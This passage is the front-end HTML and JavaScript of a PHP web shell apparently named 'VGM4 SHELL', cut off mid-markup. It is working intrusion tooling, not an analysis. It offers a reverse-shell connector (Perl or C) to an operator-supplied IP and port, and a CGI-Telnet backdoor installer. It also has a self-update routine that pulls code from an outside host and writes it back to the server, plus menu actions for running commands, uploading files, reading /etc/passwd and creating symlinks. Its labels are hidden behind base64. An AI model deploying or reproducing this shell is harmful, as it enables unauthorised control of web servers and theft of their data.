image/png;base64,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",n.style.backgroundSize="cover",n.style.objectFit="cover",t.appendChild(n),t.appendChild(A),t.style.display="flex",t.style.alignItems="center",t.style.justifyContent="center"}function check_disable(){if(sessionStorage.getItem("disabled"))return disabled_script(),!0}function check_update2(){if(sessionStorage.getItem("new_update"))return sessionStorage.getItem("update_replied")||notify_update(),!0}function notify_update(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3");t.innerHTML="Update available!";let A=document.createElement("form");A.setAttribute("id","updatepage"),A.setAttribute("onsubmit","event.preventDefault();"),A.style.display="flex",A.style.flexDirection="row";let n=document.createElement("button"),i=document.createElement("button");n.innerHTML="UPDATE",n.setAttribute("onclick","process_update();"),n.setAttribute("id","btn_update"),i.innerHTML="CANCEL",i.style.background="#df4759",i.style.marginLeft="10px",i.setAttribute("onclick","cancel_update();");let o=document.createElement("h2");o.style.color="red",o.innerHTML="What\'s new?";let s=document.createElement("label");s.innerHTML=sessionStorage.getItem("new_update");let l=document.createElement("address");l.innerHTML=\'<a style="color:blue;text-decoration:underline" href="http://vgm4team.xyz" target="_blank">https://vgm4team.xyz</a>\',l.style.marginTop="10px",A.appendChild(n),A.appendChild(i),e.appendChild(t),e.appendChild(o),e.appendChild(s),e.appendChild(l),e.appendChild(A),e.style.top="50%",e.style.opacity="1",e.style.visibility="visible"}function process_update(){let e=document.getElementById("btn_update");e.disabled=!0,e.innerHTML="UPDATING...";let t=new XMLHttpRequest;t.open("get","https://vgm4team.xyz/files/update.txt",!0),t.onload=function(){if(4==t.readyState){let e=this.response;-1!==e.indexOf(".mwsbox")?process_update2(btoa(e)):show_popup("Update can not processed!",3500,"alert")}},t.send()}function process_update2(e){let t=document.getElementById("btn_update"),A=new FormData;A.append("update_content",e);let n=new XMLHttpRequest;n.open("post",basename(),!0),n.onload=function(){if(4==n.readyState){t.disabled=!1,t.innerHTML="UPDATE",sessionStorage.setItem("update_replied",!0),"ok"==JSON.parse(this.response).status?(show_popup("VGM4 SHELL has been updated successfully!",2e3,"success"),setTimeout(function(){window.open("https://vgm4team.xyz","_blank"),window.location.reload()},2e3)):show_popup("Some error occured,update can not processed!",3500,"alert")}},n.send(A)}function cancel_update(){empty_process_screen();let e=document.querySelector(".process-screen");e.style.top="-50%",e.style.opacity="0",e.style.visibility="hidden",sessionStorage.setItem("update_replied",!0)}function cgi_telnet(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3");t.innerHTML="CGI-Telnet Installation";let A=document.createElement("span");A.style.display="block",A.style.color="#222",A.style.fontSize="14px",A.style.fontWeight="bold",A.innerHTML="Installing CGI-Telnet...";let n=new XMLHttpRequest;n.open("get",basename()+"?cgitelnet=true",!0),n.onload=function(){if(4==n.readyState){"failed"==JSON.parse(this.response).status?(show_popup("CGI-Telnet setup has failed!",3e3,"alert"),e.style.visibility="hidden",e.style.opacity="0",e.style.top="-50%"):(show_popup("CGI-Telnet has installed successfully!",3e3,"success"),A.innerHTML=\'CGI-Telnet Path: <a href="cgi_web.pl" target="_blank" style="color:#555;text-decoration:underline;">cgi_web.pl</a><br>Permissions have been set up to 755..\',list_dir("."))}},n.send(),e.appendChild(t),e.appendChild(A),e.style.visibility="visible",e.style.opacity="1",e.style.top="50%"}function reverse_shell(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3"),A=document.createElement("form");A.setAttribute("id","revshell"),A.setAttribute("onsubmit","event.preventDefault();");let n=document.createElement("input");n.name="rev_ip",n.style.display="none",n.type="text";let i=document.createElement("input");i.placeholder="4444",i.style.display="none",i.type="text",i.name="rev_port";let o=document.createElement("label");o.innerHTML="Your IP Address",o.style.display="none";let s=document.createElement("label");s.innerHTML="Port",s.style.display="none";let l=document.createElement("label");l.innerHTML="Method",l.style.display="none";let a=document.createElement("label");a.innerHTML="Loading...",a.style.display="block";let r=document.createElement("select");r.name="method",r.style.display="none";let c=document.createElement("option");c.value="perl",c.innerHTML="PERL";let d=document.createElement("option");d.value="c",d.innerHTML="C",r.appendChild(c),r.appendChild(d);let p=document.createElement("button");p.innerHTML="CONNECT",p.style.display="none",p.setAttribute("onclick","process_reverse_shell();"),A.appendChild(o),A.appendChild(n),A.appendChild(s),A.appendChild(i),A.appendChild(l),A.appendChild(r),A.appendChild(p);let g=new FormData;g.append("getip",!0);let u=new XMLHttpRequest;u.open("post",basename(),!0),u.onload=function(){if(4==u.readyState){let t=JSON.parse(this.response);"failed"!==t.status?(a.style.display="none",o.style.display="block",n.style.display="block",n.value=t.status,s.style.display="block",i.style.display="block",l.style.display="block",r.style.display="block",p.style.display="block"):(show_popup("Something went wrong!",3e3,"alert"),e.style.visibility="hidden",e.style.opacity="0",e.style.top="-50%")}},u.send(g),t.innerHTML="Reverse Shell",e.appendChild(t),e.appendChild(A),e.appendChild(a),e.style.visibility="visible",e.style.opacity="1",e.style.top="50%"}function process_reverse_shell(){let e=document.getElementById("revshell"),t=new FormData(e),A=e.querySelector("button"),n=e.querySelector("input[name=rev_ip]"),i=e.querySelector("input[name=rev_port]");if(""==n.value||""==i.value)show_popup("Empty field!",3e3,"alert");else if(isNaN(i.value))show_popup("Port must be numeric!",3e3,"alert");else{A.disabled=!0,A.innerHTML="CONNECTING...";let e=new XMLHttpRequest;e.open("post",basename(),!0),e.onload=function(){if(4==e.readyState){"ok"==JSON.parse(this.response).status?show_popup("Check your listener!",3e3,"success"):show_popup("Reverse shell can not be created!",3500,"alert"),A.disabled=!1,A.innerHTML="CONNECT"}},e.send(t)}}window.addEventListener("DOMContentLoaded",function(){if(check_disable())return;check_update(),check_update2(),document.title=atob("VkdNNCBTSEVMTA==")+" v"+release,document.querySelector(".mwsbox .title h3").innerHTML=atob("VkdNNCBTSEVMTA==")+" v"+release;let e=document.querySelectorAll(".mwsbox .title ul li span");e[0].innerHTML=atob("V2ViIHNlcnZlciBzb2Z0d2FyZTo="),e[1].innerHTML=atob("S2VybmVsOg=="),e[2].innerHTML=atob("UnVubmluZyBhczo="),e[3].innerHTML=atob("VG90YWwgdXNlcnM6"),e[4].innerHTML=atob("VG90YWwgZ3JvdXBzOg=="),e[5].innerHTML=atob("c2FmZV9tb2RlOg=="),e[6].innerHTML=atob("b3Blbl9iYXNlZGlyOg=="),e[7].innerHTML=atob("RGlzYWJsZWQgZnVuY3Rpb25zOg=="),e[8].innerHTML=atob("dXBsb2FkX21heF9maWxlc2l6ZTo="),e[9].innerHTML=atob("TG9hZGVkIGV4dGVuc2lvbnM6"),e[10].innerHTML=atob("U2VydmVyIEluZm9ybWF0aW9uOg=="),e[11].innerHTML=atob("Q3VycmVudCBEaXJlY3Rvcnk6"),e[12].innerHTML=atob("Q2hhbmdlIERpcmVjdG9yeTo="),e[13].innerHTML=atob("UmVhZCBGaWxlOg=="),list_dir(),document.addEventListener("click",function(e){let t=document.querySelectorAll(".toggle font"),A=document.querySelectorAll(".toggle"),n=document.querySelectorAll(".toggle span"),i=document.querySelectorAll("i");"screen"!==e.target.id&&-1==[].slice.call(t).indexOf(e.target)&&-1==[].slice.call(A).indexOf(e.target)&&-1==[].slice.call(n).indexOf(e.target)&&-1==[].slice.call(i).indexOf(e.target)&&e.target.offsetParent&&"screen"!==e.target.offsetParent.id&&(document.getElementById("screen").style.visibility="hidden",document.getElementById("screen").style.opacity="0",document.getElementById("screen").style.top="-50%",setTimeout(function(){empty_process_screen()},250))}),document.onkeyup=function(e){27==e.keyCode&&"visible"==document.getElementById("screen").style.visibility&&(document.getElementById("screen").style.visibility="hidden",document.getElementById("screen").style.opacity="0",document.getElementById("screen").style.top="-50%")},working_dir=document.getElementById("curr_dir").value,sessionStorage.getItem("work")||setWork()});\r\n    </script>\r\n    <link rel="icon" href="http://vgm4team.xyz/images/favico.ico">\r\n</head>\r\n<body>\r\n<div class="holder">\r\n \r\n    <div class="mwsbox">\r\n\r\n        <div class="bottom-menu">\r\n            <ul>\r\n                <li class="toggle" onclick="reverse_shell();"><img style="width:16px;height:16px;" src="data:image/png;base64,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"/><span>Reverse Shell</span></li>\r\n                <li class="toggle" onclick="run_command();"><i class="fas fa-terminal"></i><span>Run Command</span></li>\r\n                <li class="toggle" onclick="file_upload();"><i class="fas fa-file-upload"></i><span>File Upload</span></li>\r\n                <li class="toggle" onclick="create_file();"><i class="fas fa-file"></i><span>Create File</span></li>\r\n                <li class="toggle" onclick="create_dir();"><i class="fas fa-folder-plus"></i><span>Create Directory</span></li>\r\n                <li class="toggle" onclick="download_folder();"><i class="fas fa-file-archive"></i><span>Download Folder</span></li>\r\n                <li class="toggle" onclick="search_disk();"><i class="fas fa-search"></i><span>Search Disk</span></li>\r\n                <li class="toggle" onclick="read_passwd();"><i><img src="data: image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAoklEQVQ4je2QQQ3CUBBEHziohVqohVrAQpGABTQgASxUApUAEkDC48CQLIQQAjfCJJP/d3d2shn442vM1E93B2BERW3VJrzVvOh1XjGgDilO4SLvSt2rh9JbFJ3qMC8nLYEJWAMj0AEt0AA9cMxsihaAanAOiahPfcx/90R3Z7CNcJMLmhiNuWTKrI/2ipJBVwKrwdYAa7CtCgnm8LD8Nn8AF5fx6FYl7EMnAAAAAElFTkSuQmCC"></i><span>Read /etc/passwd</span></li>\r\n                <li class="toggle" onclick="symlink();"><i><img 